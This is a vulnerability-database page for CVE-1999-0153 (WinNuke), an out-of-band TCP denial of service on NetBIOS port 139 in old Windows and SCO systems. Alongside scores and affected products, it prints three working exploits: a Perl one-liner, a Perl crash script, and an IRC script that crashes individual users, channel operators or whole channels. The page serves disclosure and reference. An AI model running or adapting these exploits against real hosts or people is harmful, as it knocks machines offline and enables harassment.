CVE-1999-0153 : Detail

CVE-1999-0153

0.3%V3
Network
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Windows 95/NT out of band (OOB) data denial of service through NETBIOS port, aka WinNuke.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 20438

Publication date : 1997-05-06
22h00 +00:00
Author : _eci
EDB Verified : Yes

source: https://www.securityfocus.com/bid/2010/info Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data. According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. " As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding. Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"some.windoze.box:139")->send("bye",MSG_OOB)'
Exploit Database EDB-ID : 20439

Publication date : 1997-05-06
22h00 +00:00
Author : _eci
EDB Verified : Yes

source: https://www.securityfocus.com/bid/2010/info Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data. According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. " As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding. Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. #!/usr/bin/perl # Ghent - [email protected] - Perl version of winnuke.c by _eci use strict; use Socket; my($h,$p,$in_addr,$proto,$addr); $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]); if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n"; } $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); socket(S, AF_INET, SOCK_STREAM, $proto) or die $!; connect(S,$addr) or die $!; select S; $| = 1; select STDOUT; print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n"; close S;
Exploit Database EDB-ID : 20440

Publication date : 1997-05-06
22h00 +00:00
Author : maddog & lerper
EDB Verified : Yes

source: https://www.securityfocus.com/bid/2010/info Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data. According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. " As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding. Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. # WinNuke BitchX IRC script/wnuke package v 1.5 # Created by maddog and lerper # [email protected], [email protected] # WinNuke IRCers with several options: # the nick you define # all of the ops in your current channel # anyone who joins a channel # everyone in the channel # Creditz: # goes out to _eci for winnuke # #BitchX for their great support # #ircII for pretending to be asleep whenever i asked for help # #hack for the laughs (hey--they were talking about vibrators last night) # Micro$oft for hosting the hacking channels on comic chat # KL and his LPLC LAX # shout outs to the L0pht and hey to memebers of "CdC" # notice: this package was created so more people could learn about winnuke # and more winblows users could patch themeslves up. # NOT so lame ircers could have their kicks #Before using this script, compile the included winnuke.c #cc -owinnuke winnuke.c should do the job! #If you have a GNU compiler...replace the cc with gcc #Then move the executable into your /usr/local/bin directory and #chmod it with the access levels you wish. assign wnuke_pgm wnuke assign wn [wnuke w/ mass nuke features] assign wi [winnuke commands] eval echo $wn version 1.5 loading... [ by: maddog and the lerper ] eval echo $wn type /whelp for commands alias whelp { eval echo $wi /wnuke <nick> - sends a win nuke to someone eval echo $wi /mwnuke - sends a win nuke to everyone on a chan eval echo $wi /awnuke - when someone joins, it nukes them too, effective with mwnuke eval echo $wi /opwnuke - sends a win nuke to all ops } alias wnuke { if ([$0]) { ^on ^311 "*" {^assign ndomain $3} ^on ^319 "*" # ^whois $0 wait EVAL ^exec winnuke $1 $ndomain >/dev/null & echo [wnuke] sent wnuke to $0 at $ndomain requested\. ^on 311 - "*" ^on 319 - "*" ^assign -ndomain } { echo echo Usage: /wnuke <nick> } } /on -join * {@joinvar=[$0]} alias awnuke { /on -join * {/wnuke $0}} alias mwnuke { fe ($chanusers()) blah { /wnuke $blah }} alias opwnuke { fe ($chops()) blah { /wnuke $blah }}

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_95 >> Version *

Microsoft>>Windows_nt >> Version *

Sco>>Openserver >> Version 5.0

    References

    http://www.osvdb.org/1666
    Tags : vdb-entry, x_refsource_OSVDB